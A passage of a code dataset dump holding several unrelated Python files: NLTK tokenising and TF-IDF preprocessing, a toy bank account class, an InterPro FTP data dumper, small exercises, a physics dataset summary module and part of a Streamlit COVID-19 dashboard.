open('C:\\\\Users\\\\Administrator\\\\Desktop\\\\Preprocessing\\\\words_atheism_word_tokenize_Stopped.txt', 'w',encoding='utf-8') as f:\r\n for wordSt in wordStoped:\r\n f.write(str(wordSt))\r\nprint('WordsStopped written.')\r\n'''\r\n\r\n\r\ndef word_tokenize_stopwords_removal(all_text):\r\n # 对整个文本进行分词，这里为不分句直接分词,并去停用词、标点、特殊字符、带符号单词\r\n # 返回处理结果list：word_stopped\r\n # atheism = re.sub(\"[+:\\.\\!\\/_,$%^*(+\\\"\\'<>=]+|[+——！，。？、~@#￥%……&*（）]+\", \" \", atheism)\r\n # words = word_tokenize(atheism)\r\n # 分词前去掉符号标点和特殊字符，转化为空格，也可以先分词再去掉含标点的词，后者去掉的东西更多，这里采取后一种\r\n\r\n words = [word for word in word_tokenize(all_text) if (str.isalpha(word) is not False)]\r\n # 分词，同时直接去掉所有带符号的词，如邮箱后缀、hyphen连词、缩写等\r\n path_word_tokenize = 'C:\\\\Users\\\\Administrator\\\\Desktop\\\\Preprocessing\\\\words_atheism_word_tokenize.txt'\r\n # 存放上述分词处理结果的文本路径\r\n with open(path_word_tokenize, 'w',encoding='utf-8') as f:\r\n f.write(str(words))\r\n print('Words written.')\r\n\r\n word_stopped = [w.lower() for w in words if (w.lower() not in cachedStopWords and len(w) > 2 and str.isalpha(w) is not False)]\r\n # 小写化后去停用词+去长度小于3的单词+去数字和包含符号的单词如 2-year\r\n path_word_tokenize_stopped = 'C:\\\\Users\\\\Administrator\\\\Desktop\\\\Preprocessing\\\\words_atheism_word_tokenize_Stopped.txt'\r\n # 存放上述去停用词处理结果的文本路径\r\n with open(path_word_tokenize_stopped, 'w', encoding='utf-8') as f:\r\n f.write(str(word_stopped))\r\n print('WordsStopped written.')\r\n\r\n return word_stopped\r\n\r\n\r\ndef word_pos_tags(word_stopped):\r\n # 词性标注,返回以单词+词性标注为元组的list: pos_tags\r\n pos_tags = nltk.pos_tag(word_stopped)\r\n path_word_tokenize_stopped_pos_tag = \\\r\n 'C:\\\\Users\\\\Administrator\\\\Desktop\\\\Preprocessing\\\\words_atheism_word_tokenize_Stopped_postag.txt'\r\n # 存放词性标注处理结果的文本路径\r\n with open(path_word_tokenize_stopped_pos_tag, 'w', encoding='utf-8') as f:\r\n f.write(str(pos_tags))\r\n print('Pos_tags written.')\r\n return pos_tags\r\n\r\n\r\ndef get_wordnet_pos(treebank_tag):\r\n # 词性标注提取\r\n if treebank_tag.startswith('J'):\r\n return wordnet.ADJ\r\n elif treebank_tag.startswith('V'):\r\n return wordnet.VERB\r\n elif treebank_tag.startswith('N'):\r\n return wordnet.NOUN\r\n elif treebank_tag.startswith('R'):\r\n return wordnet.ADV\r\n else:\r\n return None\r\n\r\n\r\ndef lemmatize_string(pos_tags):\r\n # 词形还原后词干提取函数，返回还原后的单词list: res\r\n res = []\r\n lemmatizer = WordNetLemmatizer() # 初始化词形还原对象\r\n stemmer = SnowballStemmer(\"english\") # 选择语言，初始化词干提取对象\r\n for word, pos in pos_tags:\r\n wordnet_pos = get_wordnet_pos(pos) or wordnet.NOUN\r\n res.append(stemmer.stem(lemmatizer.lemmatize(word, pos=wordnet_pos)))\r\n return res\r\n\r\n\r\ndef do_lemma_stemmer(pos_tags):\r\n # 进行词形还原和词干提取,并输出记录结果\r\n # 返回仅由空格分隔单词的纯文本，即一个string的list: wordLemmatizedStemmeredWordOnly\r\n word_lemmatized_stemmered = lemmatize_string(pos_tags)\r\n path_word_tokenize_stopped_postag_lemmatized_stemmered_wordonly = \\\r\n 'C:\\\\Users\\\\Administrator\\\\Desktop\\\\Preprocessing\\\\words_atheism_word_tokenize_Stopped_postag_lemmatized_stemmered_wordonly.txt'\r\n # 存放词形还原和词干提取处理结果的文本路径\r\n with open(path_word_tokenize_stopped_postag_lemmatized_stemmered_wordonly, 'w', encoding='utf-8') as f:\r\n for word in word_lemmatized_stemmered:\r\n #sklearn中TFIDF计算需要的格式是仅由空格分隔单词的纯文本\r\n f.write(str(word))\r\n f.write(str(' '))\r\n print(\"WordLemmatized&Stemmered written.\")\r\n\r\n word_lemmatized_stemmered_wordonly = [] # 重读出所需格式文本\r\n with open('C:\\\\Users\\\\Administrator\\\\Desktop\\\\Preprocessing\\\\words_atheism_word_tokenize_Stopped_postag_lemmatized_stemmered_wordonly.txt', 'r',encoding='utf-8') as f:\r\n word_lemmatized_stemmered_wordonly.append(f.read())\r\n\r\n return word_lemmatized_stemmered_wordonly\r\n\r\n\r\ndef TFIDF(word_lemmatized_stemmered_wordonly):\r\n # TFIDF计算\r\n tf_idf = TfidfVectorizer() # 初始化对象\r\n tf_data = tf_idf.fit_transform(word_lemmatized_stemmered_wordonly) # 计算TFIDF值\r\n words = tf_idf.get_feature_names() # 取出所统计单词项\r\n TFIDF = dict() # 创建空字典\r\n path_TFIDF = 'C:\\\\Users\\\\Administrator\\\\Desktop\\\\Preprocessing\\\\words_atheism_word_tokenize_Stopped_postag_lemmatized_stemmered_TFIDF.txt'\r\n path_TFIDF_sorted = 'C:\\\\Users\\\\Administrator\\\\Desktop\\\\Preprocessing\\\\words_atheism_word_tokenize_Stopped_postag_lemmatized_stemmered_TFIDF_sorted.txt'\r\n\r\n with open(path_TFIDF, 'w', encoding='utf-8') as f:\r\n # 向文件写入TFIDF值\r\n for i in range(len(word_lemmatized_stemmered_wordonly)):\r\n for j in range(len(words)):\r\n if tf_data[i, j] > 1e-5:\r\n f.write(words[j] + ':' + str(tf_data[i, j]))\r\n f.write('\\n')\r\n TFIDF[str(words[j])] = tf_data[i, j]\r\n print(\"TFIDF written.\")\r\n\r\n TFIDFSorted = sorted(TFIDF.items(), key=lambda e: e[1], reverse=True)\r\n # 按TFIDF值大小排序\r\n\r\n with open(path_TFIDF_sorted, 'w', encoding='utf-8') as f:\r\n # 向文件写入排序后的TFIDF值\r\n for key in TFIDFSorted:\r\n f.write(str(key))\r\n f.write('\\n')\r\n print(\"TFIDF sorted written.\")\r\n\r\n return\r\n\r\n\r\nif __name__ == '__main__':\r\n path = \"C:\\\\Users\\\\Administrator\\\\Desktop\\\\Preprocessing\\\\20news-19997\\\\20_newsgroups\\\\alt.atheism\"\r\n # 待处理语料文件夹目录\r\n atheism = read_files(path)\r\n stopped_words = word_tokenize_stopwords_removal(atheism)\r\n pos_tags_word = word_pos_tags(stopped_words)\r\n TFIDF(do_lemma_stemmer(pos_tags_word))","sub_path":"Preprocessing.py","file_name":"Preprocessing.py","file_ext":"py","file_size_in_byte":9160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"1966756","text":"import datetime\nimport pytz\n\n\nclass Account:\n \"\"\"Simple account class w/ balance\"\"\"\n\n @staticmethod\n def _current_time():\n utc_time = datetime.datetime.utcnow()\n return pytz.utc.localize(utc_time)\n\n def __init__(self, name, balance):\n # name_prompt = input(\"Please enter your name: \")\n # balance_prompt = int(input(\"Please enter your initial deposit: $\"))\n self._name = name\n self.__balance = balance\n self._transaction_list = [(Account._current_time(), balance)]\n print(\"Account created for {} with an initial balance of ${}\".format(self._name, self.__balance))\n\n def deposit(self, amount):\n # amount = int(input(\"Enter you deposit amount: $\"))\n if amount > 0:\n print(\"Depositing ${}...\".format(amount))\n self.__balance += amount\n self._transaction_list.append((Account._current_time(), amount))\n self.show_balance()\n\n def withdraw(self, amount):\n # amount = int(input(\"Enter your withdraw amount: $\"))\n if 0 < amount <= self.__balance:\n print(\"Withdrawing ${}...\".format(amount))\n self.__balance -= amount\n self._transaction_list.append((Account._current_time(), -amount))\n else:\n print(\"You cannot withdraw more than your current balance: ${}\".format(self.__balance))\n self.show_balance()\n self.show_transactions()\n\n def show_balance(self):\n print(\"Balance is ${}\".format(self.__balance))\n\n def show_transactions(self):\n for date, amount in self._transaction_list:\n if amount > 0:\n tran_type = \"deposited\"\n else:\n tran_type = \"withdrawn\"\n amount *= -1\n print(\" ${} {} on {} (local time was {})\".format(amount, tran_type, date, date.astimezone()))\n\n# Create some humans with bank accounts:\n\n\nif __name__ == '__main__':\n # Open new account with inital deposit\n account1 = Account(input(\"Please enter your name: \"), int(input(\"Please enter your initial deposit: $\")))\n account1.__balance = 200\n\n # Make a deposit:\n account1.deposit(int(input(\"Please enter the amount you would like to deposit: $\")))\n\n # Make a withdraw that is less than current balance:\n account1.withdraw(int(input(\"Please enter the amount you would like to withdraw: $\")))\n\n","sub_path":"python_oop/accounts.py","file_name":"accounts.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"132385642","text":"import argparse\nimport os\nimport os.path\n\nimport biothings\nfrom biothings.dataload.dumper import FTPDumper\n\nfrom wdbiothings import config\nfrom wdbiothings.config import DATA_ARCHIVE_ROOT\n\nbiothings.config_for_app(config)\n\n\nclass InterproDumper(FTPDumper):\n SRC_NAME = \"interpro\"\n FTP_HOST = 'ftp.ebi.ac.uk'\n CWD_DIR = 'pub/databases/interpro/current'\n SRC_ROOT_FOLDER = os.path.join(DATA_ARCHIVE_ROOT, SRC_NAME)\n FILES = [\"interpro.xml.gz\", \"protein2ipr.dat.gz\"]\n\n SCHEDULE = \"0 4 * * 0\"\n\n def get_newest_info(self):\n release_folder = self.client.pwd()\n self.release = os.path.split(release_folder)[-1]\n\n def new_release_available(self):\n current_release = self.src_doc.get(\"release\")\n if not current_release or float(self.release) > float(current_release):\n self.logger.info(\"New release '%s' found\" % self.release)\n return True\n else:\n self.logger.debug(\"No new release found\")\n return False\n\n def create_todump_list(self, force=False):\n self.get_newest_info()\n self.to_dump = []\n for file in self.FILES:\n new_localfile = os.path.join(self.new_data_folder, file)\n current_localfile = os.path.join(self.current_data_folder, file) if self.current_data_folder else new_localfile\n if force or not os.path.exists(current_localfile) or self.new_release_available():\n self.to_dump.append({\"remote\": file, \"local\": new_localfile})\n else:\n print(\"Skipping: {}\".format(current_localfile))\n print(self.to_dump)\n\n\ndef main(force=False):\n dumper = InterproDumper()\n dumper.dump(force=False)\n dumper.create_todump_list()\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='run interpro dumper')\n parser.add_argument('--force', action='store_true', help='force new download')\n args = parser.parse_args()\n main(force=args.force)\n","sub_path":"wdbiothings/contrib/interpro/dumper.py","file_name":"dumper.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"610207050","text":"# You are given a sorted array consisting of only integers where every element appears exactly twice,\n# except for one element which appears exactly once. Find this single element that appears only once.\n\n# Note: Your solution should run in O(log n) time and O(1) space.\n\n# Input: [1,1,2,3,3,4,4,8,8]\n# Output: 2\n\n# Input: [3,3,7,7,10,11,11]\n# Output: 10\n\ndef singleNonDuplicate(nums):\n low = 0\n high = len(nums)-1\n while low= b >= c or a >= c >= b:\n\tmaior = a\n\tif c >= b:\n\t\tmenor = b\n\telse:\n\t\tmenor = c\n\nelif b >= c >= a or b >= a >= c:\n\tmaior = b\n\tif a >= c:\n\t\tmenor = c\n\telse:\n\t\tmenor = a\n\nelif c >= a >= b or c >= b >= a:\n\tmaior = c\n\tif b >= a:\n\t\tmenor = a\n\telse:\n\t\tmenor = b\nelse :\n\tmaior = 'iguais'\n\tmenor = 'iguais' \n\t\n\n\nprint ('Maior numero é: ', maior)\nprint ('Menor numero é: ', menor)\n","sub_path":"Lista_II/questao05.py","file_name":"questao05.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"153088389","text":"\"\"\"Compute total dataset muon and multiplicity efficiencies and livetime.\"\"\"\nimport numpy as np\n\nfrom dyb_analysis import common\n\ndef daq_livetime_s(database, label):\n \"\"\"Return an array of DAQ livetimes ordered from EH1-AD1 to EH3-AD4.\"\"\"\n with common.get_db(database) as conn:\n cursor = conn.cursor()\n # Total DAQ Livetime\n cursor.execute('''\n SELECT\n SUM(Livetime_ns/Efficiency/1e9)\n FROM\n muon_rates\n NATURAL JOIN\n runs\n WHERE\n Label = ?\n GROUP BY\n Hall,\n DetNo\n ORDER BY\n Hall,\n DetNo\n ''',\n (label,)\n )\n livetimes_s = np.array(cursor.fetchall()).reshape(-1)\n return livetimes_s\n\ndef daq_livetime_days(database, label):\n \"\"\"Return an array of DAQ livetimes in days from EH1-AD1 to EH3-AD4.\"\"\"\n livetime_s = daq_livetime_s(database, label)\n return livetime_s/60/60/24\n\ndef unvetoed_livetime_s(database, label):\n \"\"\"Return an array of unvetoed livetimes ordered from EH1-AD1 to EH3-AD4.\"\"\"\n with common.get_db(database) as conn:\n cursor = conn.cursor()\n # Total DAQ Livetime\n cursor.execute('''\n SELECT\n SUM(Livetime_ns/1e9)\n FROM\n muon_rates\n NATURAL JOIN\n runs\n WHERE\n Label = ?\n GROUP BY\n Hall,\n DetNo\n ORDER BY\n Hall,\n DetNo\n ''',\n (label,)\n )\n livetimes_s = np.array(cursor.fetchall()).reshape(-1)\n return livetimes_s\n\ndef muon_efficiency(database, label):\n \"\"\"Return an array of muon efficiencies from EH1-AD1 to EH3-AD4.\"\"\"\n with common.get_db(database) as conn:\n cursor = conn.cursor()\n cursor.execute('''\n SELECT\n SUM(Livetime_ns)/SUM(Livetime_ns/Efficiency)\n FROM\n muon_rates\n NATURAL JOIN\n runs\n WHERE\n Label = ?\n GROUP BY\n Hall,\n DetNo\n ORDER BY\n Hall,\n DetNo\n ''',\n (label,)\n )\n muon_effs = np.array(cursor.fetchall()).reshape(-1)\n return muon_effs\n\ndef muon_total_counts(database, label):\n \"\"\"Return an array of muon counts from EH1-AD1 to EH3-AD4.\"\"\"\n with common.get_db(database) as conn:\n cursor = conn.cursor()\n cursor.execute('''\n SELECT\n SUM(`Count`)\n FROM\n muon_rates\n NATURAL JOIN\n runs\n WHERE\n Label = ?\n GROUP BY\n Hall,\n DetNo\n ORDER BY\n Hall,\n DetNo\n ''',\n (label,)\n )\n muon_counts = np.array(cursor.fetchall()).reshape(-1)\n return muon_counts\n\ndef muon_rate_Hz(database, label):\n \"\"\"Return an array of muon rates from EH1-AD1 to EH3-AD4.\"\"\"\n unvetoed_livetimes = unvetoed_livetime_s(database, label)\n counts = muon_total_counts(database, label)\n return counts / unvetoed_livetimes\n\ndef multiplicity_efficiency(database, label):\n \"\"\"Return an array of multiplicity efficiencies from EH1-AD1 to EH3-AD4.\"\"\"\n with common.get_db(database) as conn:\n cursor = conn.cursor()\n cursor.execute('''\n SELECT\n SUM(MultiplicityVetoEfficiency * Livetime_ns/Efficiency)/\n SUM(Livetime_ns/Efficiency)\n FROM\n singles_rates\n NATURAL JOIN\n runs\n INNER JOIN\n muon_rates\n USING (\n RunNo,\n DetNo,\n Label\n )\n WHERE\n Label = ?\n GROUP BY\n Hall,\n DetNo\n ORDER BY\n Hall,\n DetNo\n ''',\n (label,)\n )\n mult_effs = np.array(cursor.fetchall()).reshape(-1)\n return mult_effs\n\ndef singles_rate_Hz(database, label):\n \"\"\"Return an array of singles rates from EH1-AD1 to EH3-AD4.\"\"\"\n with common.get_db(database) as conn:\n cursor = conn.cursor()\n cursor.execute('''\n SELECT\n SUM(singles.Rate_Hz * Livetime_ns/Efficiency)/\n SUM(Livetime_ns/Efficiency)\n FROM\n singles_rates AS singles\n NATURAL JOIN\n runs\n INNER JOIN\n muon_rates\n USING (\n RunNo,\n DetNo,\n Label\n )\n WHERE\n Label = ?\n GROUP BY\n Hall,\n DetNo\n ORDER BY\n Hall,\n DetNo\n ''',\n (label,)\n )\n singles_rates = np.array(cursor.fetchall()).reshape(-1)\n return singles_rates\n\ndef coincidences_counts(database, label):\n \"\"\"Return an array of coincidence counts from EH1-AD1 to EH3-AD4.\"\"\"\n with common.get_db(database) as conn:\n cursor = conn.cursor()\n cursor.execute('''\n SELECT\n SUM(NumCoincidences)\n FROM\n num_coincidences_by_run\n NATURAL JOIN\n runs\n WHERE\n Label = ?\n GROUP BY\n Hall,\n DetNo\n ORDER BY\n Hall,\n DetNo\n ''',\n (label,)\n )\n counts = np.array(cursor.fetchall()).reshape(-1)\n return counts\n\ndef coincidences_rates(database, label, general_label):\n \"\"\"Return an array of coincidence rates (per day) from EH1-AD1 to EH3-AD4.\n\n Rates are corrected for muon and multiplicity efficiency.\n \"\"\"\n counts = coincidences_counts(database, label)\n daq_livetimes = daq_livetime_days(database, general_label)\n mult_effs = multiplicity_efficiency(database, general_label)\n muon_effs = muon_efficiency(database, general_label)\n rates = counts / mult_effs / muon_effs / daq_livetimes\n return rates\n\ndef target_protons(database, label):\n \"\"\"Return a 2D array of target protons (x1e25) and uncertainties from EH1-AD1 to EH3-AD4.\"\"\"\n with common.get_db(database) as conn:\n cursor = conn.cursor()\n cursor.execute('''\n SELECT\n GdLS_kg,\n GdLS_err_kg,\n LS_kg,\n LS_err_kg,\n Acrylic_kg,\n Acrylic_err_kg\n FROM\n target_mass\n ORDER BY\n Hall,\n DetNo\n '''\n )\n masses = np.array(cursor.fetchall())\n cursor.execute('''\n SELECT\n GdLS_density,\n GdLS_err,\n LS_density,\n LS_err,\n Acrylic_density,\n Acrylic_err\n FROM\n proton_densities\n WHERE\n Source = ?\n ''',\n (label,)\n )\n densities = np.array(cursor.fetchall()).reshape(-1)\n num_protons_GdLS = masses[:, 0] * densities[0]\n num_protons_LS = masses[:, 2] * densities[2]\n num_protons_acrylic = masses[:, 4] * densities[4]\n num_protons_total = num_protons_GdLS + num_protons_LS + num_protons_acrylic\n err_GdLS = num_protons_GdLS * np.sqrt(\n (masses[:, 1]/masses[:, 0])**2 + (densities[1]/densities[0])**2\n )\n err_LS = num_protons_LS * np.sqrt(\n (masses[:, 3]/masses[:, 2])**2 + (densities[3]/densities[2])**2\n )\n err_acrylic = num_protons_acrylic * np.sqrt(\n (masses[:, 5]/masses[:, 4])**2 + (densities[5]/densities[4])**2\n )\n err_total = np.sqrt(err_GdLS**2 + err_LS**2 + err_acrylic**2)\n return np.stack((num_protons_total, err_total), axis=-1)\n\n\n","sub_path":"dyb_analysis/event_selection/compute_dataset_summary.py","file_name":"compute_dataset_summary.py","file_ext":"py","file_size_in_byte":8071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"364065323","text":"#! python3\nimport sys, os\n\nlength = len(sys.argv)\nif length == 1:\n\tprint (\"Please specify the file extension, eg: cpp java.\")\n\tsys.exit()\n\ndef countFileLines(filename):\n\tcount = 0\n\twith open (filename, 'rb') as f:\n\t\tfor line in f:\n\t\t\tcount += 1\n\t\n\tprint (\"The line of \" + filename + \" is: \" + str(count))\n\treturn count;\n\ndef countDirFiles(dirpath):\n\tlines = 0\n\tdirs = os.listdir(dirpath)\n\tfor file in dirs:\n\t\tfor i in range(length):\n\t\t\tif i == 0:\n\t\t\t\tcontinue\n\n\t\t\tif (os.path.splitext(file)[1][1:] == str(sys.argv[i])):\n\t\t\t\tlines += countFileLines(dirpath + file)\n\t\t\n\t\tif (os.path.isdir(dirpath + file)):\n\t\t\tlines += countDirFiles(dirpath + file + \"\\\\\")\n\treturn lines;\n\n\npath = os.getcwd() + \"\\\\\"\nprint (\"The total lines is \" + str(countDirFiles(path)))\n\nprint (\"---------------------------\")\n","sub_path":"countlines.py","file_name":"countlines.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"139506770","text":"import copy\r\nimport datetime\r\nimport math\r\nimport os\r\nimport altair as alt\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nimport streamlit as st\r\nfrom matplotlib.backends.backend_agg import RendererAgg\r\nimport plotly.express as px\r\nfrom numpy import nan as Nan\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom plotly.subplots import make_subplots\r\nimport plotly.graph_objects as go\r\nplt.rcParams['figure.figsize'] = 10, 12\r\nimport warnings\r\nwarnings.filterwarnings('ignore')\r\nimport seaborn as sns\r\nfrom PIL import Image\r\n\r\n# todo states where cases and deaths are most and least correlated\r\n\r\n\r\nst.set_page_config(\r\n page_title=\"Covid-19 Forecast and Correlation Explorer\",\r\n layout=\"wide\",\r\n initial_sidebar_state=\"expanded\",\r\n)\r\n\r\n\r\n@st.cache(suppress_st_warning=True)\r\ndef process_data(country):\r\n \"\"\"\r\n Process CSVs. Smooth and compute new series.\r\n :param state: Selected Country\r\n :return: Dataframe\r\n \"\"\"\r\n # Data\r\n df = (pd.read_csv(\"Data/owid-covid-data.csv\")\r\n .sort_values(\"date\", ascending=True)\r\n .reset_index()\r\n .query('location==\"{}\"'.format(country))\r\n )\r\n \r\n df['date'] = pd.to_datetime(df['date'], format='%Y-%m-%d')\r\n df = df.query(\"date >= '2020-03-01' \")\r\n df.set_index(\"date\", inplace=True)\r\n\r\n # Rolling means\r\n df[\"new_tests\"] = df[\"new_tests\"].rolling(7).mean()\r\n df[\"total_deaths\"] = df[\"total_deaths\"].rolling(7).mean()\r\n df[\"new_deaths\"] = df[\"new_deaths\"].rolling(7).mean()\r\n df[\"hosp_patients\"] = df[\"hosp_patients\"].rolling(7).mean()\r\n df[\"total_tests\"] = df[\"total_tests\"].rolling(7).mean()\r\n df[\"icu_patients\"] = df[\"icu_patients\"].rolling(7).mean()\r\n df[\"cardiovasc_death_rate\"] = df[\"cardiovasc_death_rate\"].rolling(7).mean()\r\n df[\"total_cases\"]=df[\"total_cases\"].rolling(7).mean()\r\n\r\n # New features\r\n df[\"percentPositive\"] = (\r\n (df[\"new_tests\"] / df[\"total_tests\"]).rolling(7).mean()\r\n )\r\n \r\n df = calc_prevalence_ratio(df)\r\n\r\n df[\"Infection Fatality Rate\"] = (\r\n df[\"new_deaths\"] / (df[\"new_cases\"] * df[\"prevalence_ratio\"])\r\n ) * 100\r\n df[\"percentPositive\"] = df[\"percentPositive\"] * 100\r\n df[\"Cumulative Recovered Infections Estimate\"] = (\r\n df[\"total_cases\"] * df[\"prevalence_ratio\"] - df[\"total_deaths\"]\r\n )\r\n \r\n if np.inf in df.values:\r\n df = df.replace([np.inf, -np.inf], np.nan).dropna()\r\n return df\r\n\r\n\r\ndef calc_prevalence_ratio(df):\r\n \"\"\"\r\n Calculate prevalence ratio\r\n prevalence_ratio(day_i) = (1250 / (day_i + 25)) * (positivity_rate(day_i))^(0.5) + 2, where day_i is the number of days since February 12, 2020.\r\n https://covid19-projections.com/estimating-true-infections-revisited/\r\n :param df: Dataframe from process_data()\r\n :return: Dataframe with prevalence_ratio column\r\n \"\"\"\r\n\r\n days_since = df.index - datetime.datetime(year=2020, month=2, day=12)\r\n df[\"days_since_feb12\"] = days_since.days.values\r\n p_r_list = []\r\n for i, row in df.iterrows():\r\n try:\r\n prevalence_ratio = (1250 / (row['days_since_feb12'] + 25)) * math.pow(row['percentPositive'], 0.5) + 2\r\n # prevalence_ratio = (1500 / (row[\"days_since_feb12\"] + 50)) * math.pow(\r\n # row[\"percentPositive\"], 0.5\r\n # ) + 2\r\n #prevalence_ratio = (1000 / (row[\"days_since_feb12\"] + 10)) * math.pow(row[\"percentPositive\"], 0.5) + 2\r\n # st.write(prevalence_ratio)\r\n except:\r\n prevalence_ratio = p_r_list[-1]\r\n p_r_list.append(prevalence_ratio)\r\n # st.write(prevalence_ratio)\r\n df[\"prevalence_ratio\"] = p_r_list\r\n return df\r\n\r\n\r\n@st.cache()\r\ndef find_max_correlation(col, col2):\r\n \"\"\"\r\n Take two series and test all alignments for maximum correlation.\r\n :param col: Column 1\r\n :param col2: Column 2\r\n :return: Best r, best shift\r\n \"\"\"\r\n best_cor = -1\r\n best_i = 0\r\n for i in range(len(col) // 5):\r\n col1 = col.shift(i)\r\n correl = col1.corr(col2)\r\n if correl > best_cor:\r\n best_cor = correl\r\n best_i = i\r\n\r\n return best_cor, best_i\r\n\r\n\r\ndef plot_cor(col, col2, best_i, best_cor):\r\n \"\"\"\r\n Plot interactive chart showing correlation between two shifted series.\r\n :param col:\r\n :param col2:\r\n :param best_i:\r\n :param best_cor:\r\n \"\"\"\r\n # st.line_chart({col.name: col.shift(best_i), col2.name: col2})\r\n st.write(\r\n \"{} shifted {} days ahead is correlated with {}. $r={}$\".format(\r\n col.name, best_i, col2.name, round(best_cor, 2)\r\n )\r\n )\r\n\r\n # altair chart\r\n src = pd.DataFrame({col.name: col.shift(best_i), col2.name: col2}).reset_index()\r\n base = alt.Chart(src).encode(alt.X(\"date:T\", axis=alt.Axis(title=None)))\r\n\r\n line = base.mark_line(stroke=\"orange\").encode(\r\n alt.Y(col.name, axis=alt.Axis(title=col.name, titleColor=\"orange\"))\r\n )\r\n\r\n line2 = base.mark_line(stroke=\"#5276A7\").encode(\r\n alt.Y(col2.name, axis=alt.Axis(title=col2.name, titleColor=\"#5276A7\"))\r\n )\r\n\r\n chrt = alt.layer(line, line2).resolve_scale(y=\"independent\")\r\n st.altair_chart(chrt, use_container_width=True)\r\n\r\n\r\n# @st.cache(ttl=TTL)\r\ndef get_shifted_correlations(df, cols):\r\n \"\"\"\r\n Interactive correlation explorer. For two series, finds the alignment that maximizes correlation.\r\n :param df:\r\n :param cols:\r\n :return:\r\n \"\"\"\r\n a = st.selectbox(\"Does this\", cols, index=3)\r\n b = st.selectbox(\"Correlate with this?\", cols, index=2)\r\n lb = st.slider(\r\n \"How far back should we look for correlations?\",\r\n min_value=0,\r\n max_value=len(df),\r\n value=len(df) - 90,\r\n step=10,\r\n format=\"%d days\",\r\n key=\"window2\",\r\n )\r\n\r\n cor, shift = find_max_correlation(df[a].iloc[-lb:], df[b].iloc[-lb:])\r\n col1, col2 = df[a].iloc[-lb:], df[b].iloc[-lb:]\r\n plot_cor(df[a].iloc[-lb:], df[b].iloc[-lb:], shift, cor)\r\n\r\n return cols, a, b, lb\r\n\r\n\r\ndef get_correlations(df, cols):\r\n st.header(\"Correlations\")\r\n df = df[cols]\r\n cor_table = df.corr(method=\"pearson\", min_periods=30)\r\n st.write(cor_table)\r\n max_r = 0\r\n max_idx = None\r\n seen = []\r\n cors = pd.DataFrame(columns=[\"a\", \"b\", \"r\"])\r\n for i in cor_table.index:\r\n for j in cor_table.index:\r\n if i == j or i == \"index\" or j == \"index\":\r\n continue\r\n if cor_table.loc[i, j] == 1:\r\n continue\r\n if cor_table.loc[i, j] > max_r:\r\n max_idx = (i, j)\r\n max_r = max(cor_table.loc[i, j], max_r)\r\n if (j, i) not in seen:\r\n cors = cors.append(\r\n {\"a\": i, \"b\": j, \"r\": cor_table.loc[i, j]}, ignore_index=True\r\n )\r\n seen.append((i, j))\r\n st.write(max_idx, max_r)\r\n st.write(cors.sort_values(\"r\", ascending=False).reset_index(drop=True))\r\n\r\ndef linearRegression(df,country):\r\n selected_columns=['iso_code', 'location', 'date', 'total_cases', 'new_cases', 'total_deaths','new_deaths','icu_patients','hosp_patients','new_tests', 'total_tests', 'total_vaccinations', 'people_vaccinated', 'people_fully_vaccinated', 'new_vaccinations'] \r\n new_df = df.loc[:, selected_columns]\r\n day = df[df['location'] == country].groupby('date')[['total_cases']].sum()\r\n x = np.arange(len(day))\r\n y= day.values\r\n x = x.reshape(-1,1)\r\n model = LinearRegression()\r\n model.fit(x,y)\r\n Yp=model.predict(x) \r\n st.header(f\"Predict COVID Cases trend in {country} using Linear Regression\")\r\n fig = plt.figure() \r\n ax = fig.add_subplot(2,2,1)\r\n ax.scatter(x,y)\r\n ax.plot(x,Yp)\r\n ax.set_xlabel(\"Days\")\r\n ax.set_ylabel(\"Nummber of Cases\")\r\n st.pyplot(fig) \r\n st.header(f\"Predict Vaccination trend in {country} using Linear Regression\")\r\n vac = df[df['location'] == country].groupby('date')[['people_fully_vaccinated']].sum()\r\n x1 = np.arange(len(vac))\r\n y1 = vac.values\r\n x1 =x1.reshape(-1,1)\r\n model.fit(x1,y1)\r\n Yp1=model.predict(x1) \r\n fig = plt.figure()\r\n ax = fig.add_subplot(2,2,2)\r\n ax.scatter(x1,y1)\r\n ax.plot(x1,Yp1)\r\n ax.set_xlabel(\"Days\")\r\n ax.set_ylabel(\"Nummber of People Vaccinated\")\r\n st.pyplot(fig) \r\n\r\n#TimeSeries Analaysis\r\n\r\ndef TimeSeries(country,country1,df):\r\n df_country= df.sort_values(\"date\", ascending=True).reset_index().query('location==\"{}\"'.format(country))\r\n df_country['date'] = pd.to_datetime(df_country['date'], format='%Y-%m-%d')\r\n df_country = df_country.query(\"date >= '2020-02-01' \") \r\n df_country1 = df.sort_values(\"date\", ascending=True).reset_index().query('location==\"{}\"'.format(country1))\r\n df_country1['date'] = pd.to_datetime(df_country1['date'], format='%Y-%m-%d')\r\n df_country1 = df_country1.query(\"date >= '2020-02-01' \") \r\n \r\n fig = px.bar(df_country, x=\"date\", y=\"total_cases\", color='total_cases', height=600, title=f'Total Confirmed Coronavirus Cases in {country}',color_discrete_sequence = px.colors.cyclical.IceFire)\r\n st.plotly_chart(fig)\r\n fig = px.bar(df_country1, x=\"date\", y=\"total_cases\", color='total_cases', orientation='v', height=600,\r\n title=f'Total Confirmed Coronavirus Cases in {country1}', color_discrete_sequence = px.colors.cyclical.IceFire)\r\n\r\n st.plotly_chart(fig)\r\n \r\ndef cumulativeCases(country1,country2,df):\r\n df_country1= df.sort_values(\"date\", ascending=True).reset_index().query('location==\"{}\"'.format(country1))\r\n df_country1['date'] = pd.to_datetime(df_country1['date'], format='%Y-%m-%d')\r\n df_country1 = df_country1.query(\"date >= '2020-02-01' \") \r\n df_country2 = df.sort_values(\"date\", ascending=True).reset_index().query('location==\"{}\"'.format(country2))\r\n df_country2['date'] = pd.to_datetime(df_country2['date'], format='%Y-%m-%d')\r\n fig = make_subplots(\r\n rows=2, 